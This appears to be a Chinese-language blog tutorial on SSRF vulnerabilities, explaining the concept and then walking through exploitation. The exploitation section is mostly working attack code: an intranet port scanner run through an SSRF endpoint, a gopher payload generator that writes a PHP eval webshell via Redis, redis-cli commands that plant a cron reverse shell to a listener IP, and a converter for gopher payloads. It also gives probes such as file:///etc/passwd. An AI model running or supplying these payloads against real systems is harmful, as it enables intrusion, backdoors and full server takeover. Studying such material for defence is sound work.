ssrf

ssrf漏洞

内容

  1. ssrf漏洞介绍
  2. ssrf漏洞原理
  3. ssrf漏洞挖掘
  4. ssrf攻击利用

ssrf漏洞介绍

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
简单来说就是利用外部能够访问到的web应用程序作为跳板对无法访问的内网进行攻击,常见的有:文件读取,端口开放发现,攻击内网开放的redis,mysql服务等

ssrf漏洞原理

web应用程序使用了如curl,file_get_content()等能够进行远程请求的函数,但是在对请求的url参数并没有做严格的校验和过滤,于是如果将传入的参数设置为内网的ip,就能够对web应用程序的内网资源进行探测扫描,甚至攻击内网开放的服务

ssrf漏洞挖掘

ssrf漏洞一半出现在有调用外部资源的场景中,如社交服务的分享,图片识别,网站信息采集,远程资源求情,文件处理服务,解析资源等。
在测试的时候可以使用如下协议进行探测
file:// 从文件系统获取文件内容,常用的探测poc file:///etc/passwd
dict:// 字典服务器协议,如开放了redis服务 dict://ip:6379/info
gopher:// 使用gopher协议时,能够通过控制访问的url实现向指定的服务器发送任意内容,如http请求,redis请求等等

ssrf攻击利用

  1. 内网资源探测
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    import request
    ports = [22,23,80,443,3306,4000,6379,8000,8080]//可以按需求添加
    session = request.session()
    for i in range(255):
    ip = '192.168.2.{}'.format(i)
    for port in ports:
    url = 'http://xxx.com?url=http://{}:{}'.format(ip,port)
    try res = session.get(url,timeout=5)
    if len(res.content)>0:
    print(ip,port)
    except:
    pass
    print("----------end------------")
  2. gopher协议攻击内网服务
    最常用的gopher打redis,当探测出6379端口的时候,很有可能内网开放了redis服务,而一般来说redis是可以匿名访问的,攻击redis的手段通常有在web根目录下写入shell;写入反弹shell;如果没有在redis.conf将daemonize no改为yes 和protected-mode no改为yes的话就很容易造成写入ssh公钥直接以root权限,直接以root权限控制整个服务器
    web根目录下写入webshell
    这里就借用一下七友师傅的exp了
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    '''出处https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/
    '''
    import urllib
    protocol="gopher://"
    ip=""#设置ip
    port="6379"
    shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"#shell可根据后端语言修改
    filename="shell.php"
    path="/var/www/html"#一般web服务都部署在这个目录下
    passwd=""
    cmd=["flushall",
    "set 1 {}".format(shell.replace(" ","${IFS}")),
    "config set dir {}".format(path),
    "config set dbfilename {}".format(filename),
    "save"
    ]
    if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

    if __name__=="__main__":
    for x in cmd:
    payload += urllib.quote(redis_format(x))
    print payload
  3. 写入cron的反弹shell
    在虚拟机开放redis服务 ./redis-server redis.conf,并且使用socat将1234端口转发到6379端口上,监听1234端口 socat -v tcp-listen:1234,fork tcp-connect:localhost:6379
    在攻击机上写入攻击命令
    1
    2
    3
    4
    5
    6
    7
    8
    root@LAPTOP-60MTI4MA:~# redis-cli -h 受害者ip -p 1234 flushall
    root@LAPTOP-60MTI4MA:~# echo -e "\n\n*/1 * * * * bash -i /dev/tcp/172.17.173.107/1234 0>&1\n\n" | redis-cli -h 受害者ip -p 1234 -x set 1
    OK
    root@LAPTOP-60MTI4MA:~# redis-cli -h 受害者ip -p 1234 config set dir /var/spool/cron
    OK
    root@LAPTOP-60MTI4MA:~# redis-cli -h 受害者ip -p 1234 config set dbfilename root
    OK
    root@LAPTOP-60MTI4MA:~# redis-cli -h 受害者ip -p 1234 save
    监听处
    ssrf
    将其转为gopher协议格式,舍弃><和+ok将”\r”替换成”%0d”,”换行”替换成”%0a”,$进行url编码得到
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    #python2
    #author: JoyChou
    import sys

    exp = ''

    with open(sys.argv[1]) as f:
    for line in f.readlines():
    if line[0] in '><+':
    continue
    # 判断倒数第2、3字符串是否为\r
    elif line[-3:-1] == r'\r':
    # 如果该行只有\r,将\r替换成%0a%0d%0a
    if len(line) == 3:
    exp = exp + '%0a%0d%0a'
    else:
    line = line.replace(r'\r', '%0d%0a')
    # 去掉最后的换行符
    line = line.replace('\n', '')
    exp = exp + line
    # 判断是否是空行,空行替换为%0a
    elif line == '\x0a':
    exp = exp + '%0a'
    else:
    line = line.replace('\n', '')
    exp = exp + line
    print exp
    转成之后nc -lvp监听反弹端口 curl -v gopher://ip:6379/_exp获取反弹shell
文章目录
  1. 1. ssrf漏洞
  2. 2. 内容
    1. 2.0.1. ssrf漏洞介绍
    2. 2.0.2. ssrf漏洞原理
    3. 2.0.3. ssrf漏洞挖掘
    4. 2.0.4. ssrf攻击利用
,